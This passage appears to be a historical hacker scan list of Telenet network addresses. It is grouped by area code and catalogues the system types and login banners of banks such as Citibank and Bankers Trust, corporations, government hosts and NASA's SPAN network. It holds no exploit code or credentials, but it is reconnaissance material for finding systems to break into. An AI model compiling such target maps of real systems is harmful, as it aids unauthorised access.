   137     PRIME          NY60
   141     PRIME          Telemail
   142     PRIME             "
   145                    ENTER ACCESS ID:
   146                           "
*  149
   152     VAX
$  154     PRIME          NYORK
*  157
*  158
*  160
$  167     PRIME          MPISBS
   170                    Information Services Net
   172                              "
$  173                    Brown Brothers
   174                    Information Services Net
*  197
   200                    ENTER IDENTIFICATION:
   216                    Bank of New York
   226                    USER ID
   231     VM/370
$  235     PRIME          JAMACA
   237                    TIMEINC NYK
   238
   246     VAX            UniTraC
   248     PRIME          RYE
*  249
*  255
*  256
$  257                    BANAMEX Data Network
   258                    ENTER ACCESS ID:
$  259     VAX            BTNET
   260                    Bankers Trust Online
   263     VAX
   266     UNIX
   267     UNIX
$  271                    :
*  273
$  274                    INVALID INPUT
   275                    Bankers Trust Online
*  278
*  279
*  306
$  315                    PC Pursuit Dialer (1200)
   320                    ENTER IDENTIFICATION
   321                            "
$  322                    COMMAND UNRECOGNIZED
*  326
   328                    ENTER IDENTIFICATION
*  336
   345     PRIME          NMSG
$  350                    VTAM002
$  351                       "
*  352
*  354
```

```
   359
   376                    Bankers Trust Online
   377                              "
   378                              "
   379                              "
*  432
   433     VAX
   443     VAX
   444     PRIME          EMCO
$  446     VAX
   449     VM/370
   446
   468
   479                    Invalid Login Attempt
*  496
*  497
   500                    enter a for astra
   501                            "
   502                            "
   503                            "
   504                            "
   505                            "
   506                            "
   507                            "
   535                    TIMEINC NYK
   536                         "
   537                         "
   539     VOS
$  540     VAX            Client Videotext Server
$  541     VAX                       "
   544                    TIMEINC NYK
   545                         "
$  546                    APLICACO:
$  548     PRIME          TREPP1
   552                    TIMEINC NYK
   553                         "
   554                         "
   566                         "
   567                         "
*  576
   577                    Telenet Async to 3270
   579a                   Telenet Async to 3270
   580
   615                    Shearson Lehman Hutton
   631
   649     WANG VS
   693
   702
   713     PRIME          NY60
$  726     VAX
$  737                    FINLAY FINE JEWELRY
$  752                            "
$  753                            "
   755     VM/370
*  768
   935
*  970
*  971
*  972
*  973
*  974
*  975
*  976
*  977
```

*	978		
*	979		
	981	UNIX	
*	1009		
*	1031		
	1034		
	1036		
	1039		
*	1040		
$	1045	HP-3000	
	1049		MHP201A
	1052	PRIME	FTC0
	1069	VAX	
$	1071	GS/1	
$	1072	GS/1	
*	1074		
*	1075		

213--CALIFORNIA--ADDRESSES SCANNED: 0-1200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	21	PRIME	C6
	22	PRIME	D6
*	23		
	24		Marketron Research
	25		
	33		
	35		Marketron Research
	40	PRIME	A6
*	41		
	44		
*	45		
	51		
$	52	PRIME	AIS8
*	54		
*	57		
	58	PRIME	ACSI
	79	UNIX	Interactive Systems
	88	PRIME	MSCOST
$	92a		
	102	PRIME	TRWE.A
$	103		PC Pursuit Dialer (1200)
	105	PRIME	SWOP
$	113		
	118	VAX	
	121	PRIME	SWWE1
	122	PRIME	TRNGW2
	123	PRIME	SWWA1
	124	PRIME	CS.CAR
	125	PRIME	SWLAR
	126	HP-3000	
	128	PRIME	CS.SD
$	143	HP-3000	ANA Trading Corporation
*	144		
	151	PRIME	CSSWR1
	153	PRIME	SWLA1
	154	PRIME	SWWCR
	155	PRIME	CS.LA
$	166		BW/IP International Inc.
*	169		
	172a		
$	176	AOS	

```
*  178
   199     PRIME          C6
   219
   220                    Telenet Async to 3270
   221a                   Telenet Async to 3270
   227a
*  249
*  250
*  252
*  255
*  256
*  257
   260                    Telenet Async to 3270
   261a                   Telenet Async to 3270
*  336
$  338     HP-3000
   340     PRIME          TRNGW
   342     PRIME          SWLB1
   347
*  361
$  369     PRIME          LA
*  371
   374                    Telenet Async to 3270
   375a                   Telenet Async to 3270
$  412                    PC Pursuit Dialer (1200)
$  413                    PC Pursuit Dialer (2400)
*  464
   485a
   488a
*  1041
*  1043
   1403                   COMPUTAX
   1404                   COMPUTAX


214--TEXAS--ADDRESSES SCANNED:  0-1200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   17                     Televiewww
   20                     US Sprint
   21                     Televiewww
*  22
   42                     DNA Online
*  48
*  53
   60      HP-3000
$  62      PRIME          TRUSWL
*  65
   71      PRIME          UCCC
   76      CYBER          PCC
   77      PRIME          UCCC
   94a
$  117                    PC Pursuit Dialer (300)
$  118                    PC Pursuit Dialer (1200)
   120
   131     HP-3000
   152     HP-3000
   156     HP-3000
*  157
   159a                   C@
   160a                   C@
   168     HP-3000
   169     HP-3000
```

```
   176a    PRIME          UCCC
   177                    HL053-TRAN
   231
   233
   236a
   240     VAX            HQAAFES
   242                    TACL 1>
*  250
*  252
*  253
*  254
*  255
*  256
*  257
*  258
*  259
*  261
*  262
*  263
*  264
*  265
*  266
*  267
*  268
*  269
*  270
*  279
   341     PRIME          BNW
   342     PRIME          GCAD..
*  373
*  530
*  531
*  532
*  533
*  534
*  535
*  536
*  537
*  538
*  539
   607     HP-3000
```

215--PENNSYLVANIA--ADDRESSES SCANNED: 0-400

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  5                      PC Pursuit Dialer (300)
$  22                     PC Pursuit Dialer (2400)
*  30
$  32      AOS
$  35                     IMS AMERICA
   40                     VU/TEXT
$  45                     IMS AMERICA
   49                     Telebase Systems
*  50
*  54
*  60
   66                     Newsnet
   74
   92a
$  112                    PC Pursuit Dialer (1200)
   121                    Towers Perrin Online
*  132
```

```
   135                    VU/TEXT
   136                    DSS::15B1
   137
   140                    VU/TEXT
$  148                    Weston's Computer Center
$  156                    Telenet Async to 3270
$  157a                   Telener Async to 3270
$  234
   235     HP-3000
   262                    Data Mail
   264                    ?
   265                    "
   266                    "
   267                    "
   268                    "
   269     PRIME
*  350
*  360
$  361     HP-3000
```

216--OHIO--ADDRESSES SCANNED: 0-400

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  30                     MRI CICS H0C3
*  31
$  32                     MRI CICS H0C3
$  34      PRIME          SH.US
$  35
*  51
*  55
*  57
*  59
$  60                     MHP201A
   66                     Newsnet
$  74      HP-3000
   109a
*  115
$  120                    PC Pursuit Dialer (2400)
*  125
*  134
*  135
*  138
$  144                    U#=
   163
*  178
```

217--ILLINIOS--ADDRESSES SCANNED: 0-300

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   25      UNIX           University of Illinois
   26      UNIX           University of Illinois
$  35      VAX            NCSA VMSA
$  39                     ID
$  40
$  41      PRIME          SPRFLD
```

218--MINNESOTA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
$  38      AOS
$  39      AOS
*  40
$  42      AOS
$  45      AOS
$  56      AOS
$  142     AOS
$  157     AOS


219--INDIANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   4       PRIME          NODE.1
   5       PRIME          NODE.2
   6       PRIME          NODE.4
   7       PRIME          NODE.5
   8       PRIME          NODE.8
   9                      N1127p3  ENTER GROUP NAME>
   10                     Lincoln National Corp.
*  50


222--UNKNOWN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   100     PRIME
   301a                   C@
   401a                   C@


223--CITIBANK--ADDRESSES SCANNED:  0-300/1000-3000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  1
$  2       VAX            CRIS
   10      PRIME
*  15
   19      HP-3000
   26      GS/1           IBISM Electronic Village
   30      VAX            Citi Treasury Products
   31                     INVALID FORMAT
   32                     enter a for astra
*  34
   35      VAX            Citi Treasury Products
   39                     HRINFO NETWORK
   40      VAX            Global Report
   46      CICS           PPD Communications Network
   47      CICS           PPD Connunications Network
   48                     Citibank NY  port CBN2
   49                     Online Manual
   50      PRIME
   55      PRIME          WINMIS
   61      VAX            Global Report
   63      VAX            Global Report
   65                     System/88
$  68                     Citimail II
```

```
   70      VAX            FIG ADMIN CLUSTER
   71                     Enter Translator Number
   91      VAX
$  92                     Citinet
$  94
$  95                     <<ENTER PASSWORD>>
$  96                     <<ENTER PASSWORD>>
   97                     Quotdial
   98      VAX            CMA1
$  100     VAX
$  103                    <<ENTER PASSWORD>>
$  104     VAX
   175                    enter a for astra
$  176     VAX            PBGNY
   178     VAX            Citibank VAXC
   179     VAX            Citibank VAXC
$  180     Decserver
$  181     Decserver
$  182     Decserver
*  183
*  184
*  185
*  186
$  187     Decserver
$  189     Decserver
   193     PRIME
$  199     RSX-11
   201                    C/C/M
   202                    C/C/M
   203                    C/C/M
   204                    C/C/M
   208                    C/C/M
   260     VAX
*  1000


224--CITIBANK--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   2       VAX            Global Report
   5
   7                      Citibank Test
   9       VAX
   13
   16                     PLEASE SIGN ON
   17                     Citibanking Hong Kong
   22
   24      Decserver
   26                     Mexico Babymail
   27      Decserver
   28      Decserver
   36                     Citibank Mexico
   47                     PPD Communications Network
   51                                "
   52                     Citibank Mexico
   57      VAX
   58                     Citibank Venesuela
   59                     Citibank Quito
   60                     Citibank CBK3
   61                     Citibank Sidney
   62                     Citibank Jakarta
   63                     Citibank Manila
   64                     Citibank New Zealand
```

65		Citibank Singapore
66		
67		
68		Argentina Mail
71		ENTER TRANSACTION ID:
73	Decserver	
74		CHANNEL 03/104
76		Cititrak BBS
78		Citibank Hong Kong
79		Citibank New York
81		Citibank Tokyo
82		Citibank Seoul
83		Citibank New York
84		World Corp. Group
85		Citibank Hong kong
86		Citibank Singapore
87	Decserver	
88		Citibank Taipei
89		Citibank ICC
90	WANG VS	BANCO INTERNAL
91	PRIME	
92		
93		
94	IBM 3270	CSGCOPRO
97		CitiMail-Asia Pacific
98		C/C/M
100		CitiSwitch, New York
101		BMS==>
102		CitiSwitch Hong Kong
103		BRAZILMAIL
104		BMS==>
105		Type .
106		Citibank Panama
107		
108		C/C/M
109		Citibank Baharain
110		Citibank Puerto Rico
111		
113		Citibank London
114		
115		
117		Citibank Hong Kong
118		NEWNET BS
119	Decserver	
121		NEWNET BS
122	VAX	Global Report
125		ENTER TRANSACTION ID:
127		Citibank Jakarta
128	PRIME	
129	VAX	CitiTreasury Products
130	VAX	"
131		Citibank New York
134		
137	HP-3000	
138		
139	VAX	I.B.F.S.
140		"
141	HP-3000	
145	PRIME	
150		Citibank New Jersey
151		
154	PRIME	
160		
161	VAX	FIG ADMIN

```
   162     PRIME
   163     PRIME
   164     PRIME          WINMIS
   165     GS/1           IBISM Elctronic Village
   166     VAX            CitiTreasury Products
   167     VAX                     "
   168     VAX            Global Report
   170                    Electronic Cash Manager
   173                    HELP Online User Manager
   174     PRIME
   175                    enter a for astra
   176     Decserver
   177
   178     VAX            CRIS
   179                    Citinet
   180                    ENTER QUOTDIAL ID:
   181                    Citimail II N. America
   183     PRIME
   187     Decserver
   188     GS/1           Cititrust WIN
   190     HP-3000
   191                    ENTER TYPE NUMBER
   192     HP-3000
   193     HP-3000
   196     VAX            CMA1
   197                    HRINFO NETWORK
   199                    CHANNEL 08/017
   200                    Citibank Baharain
   201                    CitiMail-Asia Pacific
   202                            "
   203                    Citibank Hong Kong
   204                    LAGB LATINMAIL
   205
   207                    CitiBanking SUC.MONTEVIDEO
   213
   217
   219                    Citibank Stockholm
   221
   222     XENIX
   223     VAX            Global Report
   224     PRIME
   229     VAX            Global Report
   231
   501     PRIME          ATG
   506     IBM            Citibank Hong Kong


229--GENERAL MOTORS--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   113                    DCIPC
   114                    %@CTVVAUd@dUYECVGUIied
   118                       "           "
   137     VAX
   152     VAX
   171                    (Channel b.h128.001)
   172                       "           "
   176     NOS
   177                    (Channel b.h101.001)
   178                    (Channel b.h128.001)
   179                       "           "
   181                    USER NUMBER--
   183                    USER NUMBER--
```

```
   184                     Division:
   185
   187     DEC20
   219     VM/370
   220
   226     VAX
   310     PRIME
   311                     IUeASID@CVTTAUD@bhUcAg


301--NARYLAND--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   20                      PLEASE ENTER /LOGIN
*  21
   24                      The Source
   26                      DNAMD1 Online
   28                      The Source
   31      PRIME           NUSA
   33      VOS             United Communications Corp
   38                      The Source
*  39
*  43
   45                      RNN/NGW
*  46
   47                      The Source
   48                      The Source
   49                      The Source
$  52      PRIME
   56                      RNN/NGW
   57                      RNN/NGW
   58      PRIME           CDA Online Services
*  60a
*  61a
$  63      PRIME           PINET
$  65      PRIME           APHISB
   74                      (I)nt (D)atapac (T)elenet
*  77
*  78
   100     VOS             United Communications Corp
   102     CYBER           Arbitron
   103       "                "
   104       "                "
   105       "                "
   106       "                "
   107       "                "
   108       "                "
   109       "                "
   110       "                "
   111       "                "
   112       "                "
   113       "                "
   114       "                "
   115       "                "
   116       "                "
$  125     VAX
   132                     ElHill 3
   140     VAX
   141                     USER ID
$  150     VAX
   156                     The Source
   157                     The Source
   158                     The Source
```

	159		The Source
	162		The Source
*	165		
$	167	VAX	Manger Support System
$	68	VAX	
	170	VOS	United Communications Corp
$	173		ID
$	175		ID
$	176	HP-3000	
	178	CYBER	Arbitron
$	243	PRIME	
$	245	PRIME	
$	246	PRIME	
$	247	PRIME	
	249	VAX	Tamsco
	301	PRIME	Primecom Network
	302	"	" "
	303	"	" "
	307	PRIME	
	330	PRIME	Primecom Network
	331	"	" "
	332	"	" "
	333	"	" "
	334	"	" "
	335	"	" "
	336	VAX	
	337		Dialcom MHS
	341	PRIME	Primecom Network
	342	"	" "
	343	"	" "
	344	"	" "
	345	"	" "
	346	"	" "
	350	"	" "
	351	"	" "
	352	"	" "
	353	"	" "
	354	"	" "
	356	"	" "
	357	"	" "
	358	"	" "
	361	"	" "
	363	"	" "
	364	"	" "
	390	"	" "
	391	"	" "
	392	"	" "
	393	"	" "
	394	"	" "
	396	"	" "
	398	"	" "
	399	"	" "
	408		The Source
	430		The Source
	435		The Source
$	440		INVALID-SW-CHARS
*	441		
*	442		
*	443		
*	444		
*	445		
*	446		
*	447		
*	448		

```
*  449
*  450
*  451
*  452
$  453     VAX
$  454     PRIME          FRED
   1001                   Campus 2000
   1002                   Telecom Gold
   1004                   Telecom Gold
   1017                   Rev.19
   1018                   Telecom Gold
   1040    VAX            British Telecom
   1041     "                   "
   1047     "                   "
   1049     "                   "
   1050     "                   "
   1051     "                   "
   1052     "                   "
   1053     "                   "
   1054     "                   "
   1055     "                   "
   1057     "                   "
   1058     "                   "
   1060    UNIX           Telecom Gold
   1061     "                   "
   1068     "                   "
   1069     "                   "
   1072                   Telecom Gold
   1073                         "
   1074                         "
   1075                         "
   1076                         "
   1077                         "
   1078                         "
   1079                         "
   1080                         "
   1081                         "
   1082                         "
   1083                         "
   1084                         "
   1085                         "
   1086                         "
   1087                         "
   1088                         "
   1089                         "
   1090                         "
   1200a                        "
   2030                   ID
   2031                    "
   2032                    "
   2033                    "


302--DELAWARE--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  31                     ID
*  32
$  41                     (Tymnet clone)


303-COLORADO--ADDRESSES SCANNED:  0-500
```

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	7		NCAR
	8		NCAR
$	21		PC Pursuit Dialer (2400)
	38	PRIME	SL
$	50	AOS	
$	52	PRIME	DWRC
$	54	AOS	
$	57	PRIME	DENVER
$	60	AOS	
*	64		
*	65		
$	66	AOS	
$	68	AOS	
$	69	AOS	
$	78	AOS	
	100		enter switch characters
$	114		PC Pursuit Dialer (300)
$	115		PC Pursuit Dialer (1200)
	120	PRIME	SAMSON
$	130	AOS	
	131		Petroleum Info Network
$	138	AOS	
	140		X29 Password:
$	145	AOS	
$	146	AOS	
$	149		ID
*	152		
$	154	AOS	
$	155	AOS	
$	156	AOS	
$	157	AOS	
$	158	AOS	
$	159	AOS	
$	168	AOS	
$	169	AOS	
$	172	AOS	
$	176	AOS	
$	177	AOS	
*	179		
*	200		
$	231	AOS	
$	239	AOS	
*	244		
*	250		
$	253	AOS	
*	256		
$	257	AOS	
*	266		
	314		
	335	PRIME	UDEN01
$	342	HP-3000	
	350	VAX	
$	353	AOS	
$	354	AOS	
$	355	AOS	
$	356	AOS	
$	434	AOS	
*	463		
$	470	AOS	

304--WEST VIRGINIA--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	30	AOS	
$	31	AOS	
$	32		ID
*	34		
*	41		
	100		WVNET
	130		WVNET

305--FLORIDA--ADDRESSES SCANNED: 0-900

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	4		Martin Marietta
	20		
	22	HP-3000	
	35		ENTER SWITCH CHARACTERS
*	51		
*	52		
*	56		
	63	HP-3000	
*	67		
*	68		
*	69		
	73	HP-3000	
$	120		PC Pursuit Dialer (300)
$	121		PC Pursuit Dialer (1200)
$	122		PC Pursuit Dialer (2400)
	129	HP-3000	
*	135		
	136		
	137		
	138	HP-3000	
	140		
	148	VAX	
	156	VAX	EVF
	159		VU/TEXT
*	235		
*	236		
	239	VM/370	
$	240	HP-3000	
	248	VAX	
	255	VAX	
*	262		
*	263		
$	268		
	278		PACKET/74
	330a		
*	337		
$	338	VAX	AIM
$	345	PRIME	MIAMI
*	350		
*	351		
*	360		
*	361		
	365		Martin Marietta
$	370		No access to this DTE
	371	VAX	(In Spanish)
*	433		
	570		
	590		

```
   623                     Telenet Async to 3270
   644


312--ILLINOIS--ADDRESSES SCANNED:  0-1200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  24                     PC Pursuit Dialer (2400)
   34                     Your entry is incorrect
$  35                     VTAM/TSO
*  37
   41                     Your entry is incorrect
   42                     #
   43                     #
   46                     SYSTEM SECURITY STANDARDS
   63                     PEOPLE/LINK
$  64                     Purdue ISN
$  65                     COMMAND UNRECOGNIZED
   70                     PEOPLE/LINK
*  71
*  77
*  78
   101a
   108a
   121                    enter system id--
   131     VM/370
$  133
   135                    PEOPLE/LINK
   142     HP-3000
$  146     HP-3000
$  147                    ONLINE
   150                    Please enter SUBSCRIBERID
$  158     HP-3000
   159                    Please enter SUBSCRIBERID
   160                    PASSWORD
   161                       "
   162                       "
   163                       "
$  166                    ONLINE
$  170     VAX            SKMIC4
   219                    enter system id--
   222                    PASSWORD
   227                    PASSWORD
$  231                    USSMSG02
   233                    PASSWORD
   235                    PASSWORD
*  245
   247
*  253
*  254
$  255                    Enter host access code:
   256                    Please LOGIN
   258                    ID:
*  263
   289                    Baxter ASAP System
   300a    WANG VS        SREA
   301a       "            "
   302a       "            "
   303a       "            "
   304a       "            "
   305a       "            "
   306a       "            "
   307a       "            "
```

```
   308a       "            "
   309a       "            "
   310a       "            "
   311a       "            "
   312a       "            "
   313a       "            "
   314a       "            "
   315a       "            "
   316a       "            "
   317a       "            "
   318a       "            "
   319a       "            "
*  338
*  341
*  354
   370                     PEOPLE/LINK
   373a
   374                     Information Resources
   375     VAX             Marketing Fact Book
   378                     Baxter ASAP System
*  391
*  392
*  394
*  395
*  397
$  398                     MHP201A
   400                     Baxter ASAP System
   401                             "
   402                             "
   403                             "
   404                             "
   406                     COMMAND UNRECOGNIZED
$  410                     PC Pursuit Dialer (300)
$  411                     PC Pursuit Dialer (1200)
*  420
*  421
$  422                     MHP201A
*  425
*  427
*  428
*  431
$  434                     Purdue ISN
$  435     HP-3000
$  439                     Purdue ISN
*  442
*  469
*  475
*  476
*  477
   520                     R59X01 login:
   521                           "
   522                           "
   523                           "
   524                           "
   525                           "
   526                     PASSWORD
   527                     PASSWORD
   528                     PASSWORD
   532     VAX             OMNI
   534
   535
   536
   548
$  571
```

$	572		
$	575		
$	576		
$	577		
$	580		
$	581		
$	590		
$	591		
$	592		
$	593		
$	594		
$	595		
$	596		
$	597		
	583		
	584		
	586		
	587		
	588		
	589		
	655		Baxter ASAP System
	740		Telenet Async to 3270
	741a		Telenet Async to 3270
*	759		
*	761		
*	762		
*	763		
*	764		
*	766		
*	767		
*	768		
*	769		
$	770		Telenet Async to 3270
$	771a		Telenet Async to 3270
$	772		Telenet Async to 3270
	1030	VAX	First Options of Chicago
	1031	VAX	"
	1032	VAX	"
	1033	VAX	"
	1034	VAX	"
	1035	VAX	"
	1036	VAX	"
	1037	VAX	"
	1038	VAX	"
	1112		
	1127		
	1130		R52XO1 login:
	1131		"
	1132		"
	1133		"
	1134		"
	1135		"
	1136		"
	1137		"
	1138		"
	1139		"
	1140		"
	1141		"
	1142		"
	1143		"
	1144		"

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  24                     PC Pursuit Dialer (2400)
   25                     COMSHARE
$  30      VAX            GVN VAX CLUSTER
   37                     enter system id--
   38                           "
   40                     Autonet
   41                     Autonet
   43                     enter system id--
   50                     enter system id--
   61                     enter system id--
   62                     merit:x.25
   64                     Telenet Async to 3270
   65a                    Telenet Async to 3270
   68                     (I)nternational (D)atapac
*  75
$  77                     ID
   82                     NTUSSTB5
   83                        "
   85                     enteer system id--
   119                    PASSWORD
   120                       "
   145                    enter your access code?
   146                              "
   148                    ENTER YOUR SUBSCRIBERID;
   160                    PASSWORD
   161                       "
   162                       "
   164                    VU/TEXT
   165                    enter user ID
   172                         "
   173     VAX            IPP
   202                    merit:x.25
   210a
$  214                    PC Pursuit Dialer (300)
$  216                    PC Pursuit Dialer (1200)
*  231
   233
   239     UNIX           GTE
*  245
   249
   250     HP-3000
   252
   255                    $$50 DEVICE TYPE ID
   256                            "
*  257
   346                    ?1040
   347                      "


314--MISSOURI--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  5                      PC Pursuit Dialer (2400)
$  20                     PC Pursuit Dialer (1200)
$  33      AOS
$  35      AOS
$  36      AOS
$  37      AOS
$  38      AOS
*  39
```

```
$  40      AOS
$  45      AOS
*  50
*  57
   131                     MDCIS
   132                     Type User Name
$  157     PRIME           JEFCTY
$  179                     ID
*  240
*  241
*  242
*  243
*  244
*  245
*  246
*  247
*  248
*  249
*  250
*  251
*  252
*  253
```

315--NEW YORK--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   20                     enter system id
$  32                     COMMAND UNRECOGNIZED
$  50                     enter terminal type
$  130                    ID
   134                    enter system id
   135                           "
   136                           "
$  137                    GTE CAMILLUS NY
$  149                    GTE CAMILLUS NY
   150                    GTE CAMILLUS NY
   151                           "
   154
   155
   156                    5294 Controller
   157a                   5294 Controller
```

317--INDIANA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30                     ID
*  31
   32                     PRC ACF/VTAM
   34                     PRC ACF/VTAM
   41
```

318--LOUISIANA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
*  57
```

321--SPAN--ADDRESSES SCANNED: VARIOUS

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	104		NASA Packet Network
	150	PRIME	
$	160	VAX	NASA/MFSC
	1030	VAX	MIPS10
	1036	VAX	US GOVERNMENT VAX
	1056	PRIME	
	2023	PRIME	
	3035	VAX	FLYBOY
	4027a		ALPHA 5
*	7034		
	7036		LUT 3.2>
$	7055	VAX	
	7064	PRIME	

334--UNKNOWN--ADDRESSES SCANNED: VARIOUS

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	100		National Computer Center
$	102		"
$	103		Enter Terminal id?
$	130		NARDAC
$	131		NARDAC
*	200		
$	500		
*	560		

335--UNKNOWN--ADDRESSES SCANNED: VARIOUS

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
*	12		
*	13		
*	110		
*	111		
*	120		
*	121		
*	122		
*	123		
*	124		
*	210		

336--UNKNOWN--ADDRESSES SCANNED: 0-700

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	21	VAX	USDA
$	22	VAX	"
$	40	AOS	
	159	VAX	
$	165	VAX	VSFCA
	173		Unisys Telcom
	174		"
	179		"
*	180		
$	181		
$	182		FCCC

```
*  183
$  185                    IVeASID@CVTTAUD@bhUeAg
$  200     AOS
$  240     PRIME
$  250     AOS
$  260     AOS
*  604
```

337--UNKNOWN--ADDRESSES SCANNED: VARIOUS

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  10a
$  15a
*  100
*  101
$  110                    V28048DA
$  120     AOS
*  200
*  201
*  202
*  203
```

343--BURROUGHS--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   190                    BURROUGHS
```

401--RHODE ISLAND--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  42                     ID
*  50
   612                    Modem City
```

402--NEBRASKA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   40                     ID
*  52
   55                     Dynix
*  56
$  60
   64a
```

404--GEORGIA--ADDRESSES SCANNED: 0-300

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  22                     PC Pursuit Dialer (2400)
*  33
$  36      AOS
$  37      AOS
*  40
*  47
$  72                     ID
```

$	113	PC Pursuit Dialer (300)
$	114	PC Pursuit Dialer (1200)
$	124	
*	127	
$	128	
$	130	
*	136	
*	175	
*	230	

405--OKLAHOMA--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
	19		
$	20		
*	32		
*	33		
	34		
	45		Hertz
	46		C@

406--MONTANA--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	32	AOS	
$	33	AOS	
$	37	AOS	
$	44	AOS	
$	45	AOS	
$	46	AOS	
$	47	AOS	
$	48	AOS	
$	51	AOS	
$	52	AOS	
$	53	AOS	
$	58	AOS	
$	61	AOS	
$	62	AOS	
$	63	AOS	
$	64	AOS	
$	65	AOS	
$	75	AOS	
*	125		
$	131	AOS	
$	132	AOS	
$	133	AOS	
*	140		
*	142		
*	145		
*	148		
$	150	AOS	
$	155	AOS	
$	157	AOS	
$	158	AOS	
$	159	AOS	
$	161	AOS	
$	162	AOS	
$	163	AOS	
$	176	AOS	
$	178	AOS	

408--CALIFORNIA--ADDRESSES SCANNED: 0-700

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	21		PC Pursuit Dialer (2400)
$	38	AOS	
$	41	AOS	
*	49		
*	53		
	58a		
	62		TACL1>
*	76		
	84a		
$	110		PC Pursuit Dialer (300)
$	111		PC Pursuit Dialer (1200)
	121	HP-3000	
	126a		
$	133	UNIX	
$	135		SCS-SALES
*	149		
	154	PRIME	GREGOR
$	159	VAX	
$	174	AOS	
*	175		
	235		Global Weather MU2
	238	UNIX	
$	257	VAX	MATRA DESIGN
*	260		
*	261		
	264		Portal
*	267		
*	268		
*	271		
	274		BBB Version 20
	280a		
	304		Call:
	311		AMDAHL Network
	312		CCC110A
	313		AMDAHL Network
	314		"
	315		"
$	342	UNIX	
$	344	VAX	ANDO
	346	UNIX	
$	349		PCI (Tymnet clone)
	352		
$	357		PCI (Tymnet clone)
$	358		"
$	359		"
*	371		
$	375		PCI (Tymnet clone)
$	376		"
$	377		"
	378	UNIX	Sunlink
	434		COMMAND UNRECOGNIZED
	435		
$	439		PCI (Tymnet clone)
$	440		"
$	444	HP-3000	
$	445	VAX	LAUREL
$	457	HP-3000	
$	461	AOS	

```
$  462     AOS
$  463     AOS
*  468
$  469     AOS
*  479
*  530
*  531
*  532
$  534     HP-3000
$  537     HP-3000
$  538     HP-3000
*  560
$  561     AOS
*  562
*  563
*  564
*  565
*  566
*  567
$  568     AOS
$  569     AOS
*  570
*  571
*  572
*  573
*  574
$  610     HP-3000
   619     HP-3000
*  620
   627                     Fujitsu America


410--RCA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   0                      RCA


412--PENNSYLVANIA--ADDRESSES SCANNED:  0-800

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   33                     Enter Usercode:
$  34                     LORD Corporation
$  35a                    Telenet Async to 3270
   42                     Federated Edge
   43                           "
   47                     Enter Logon
   48                          "
   49                          "
   51                          "
   52                          "
   55                     COMMAND UNRECOGNIZED
   61
   63
   67                     enter terminal id
*  68
   79                     Federated Edge
   117     VAX
*  122
   276                    COMMAND UNRECOGNIZED
   277                            "
   278                            "
```

```
   279                            "
*  331
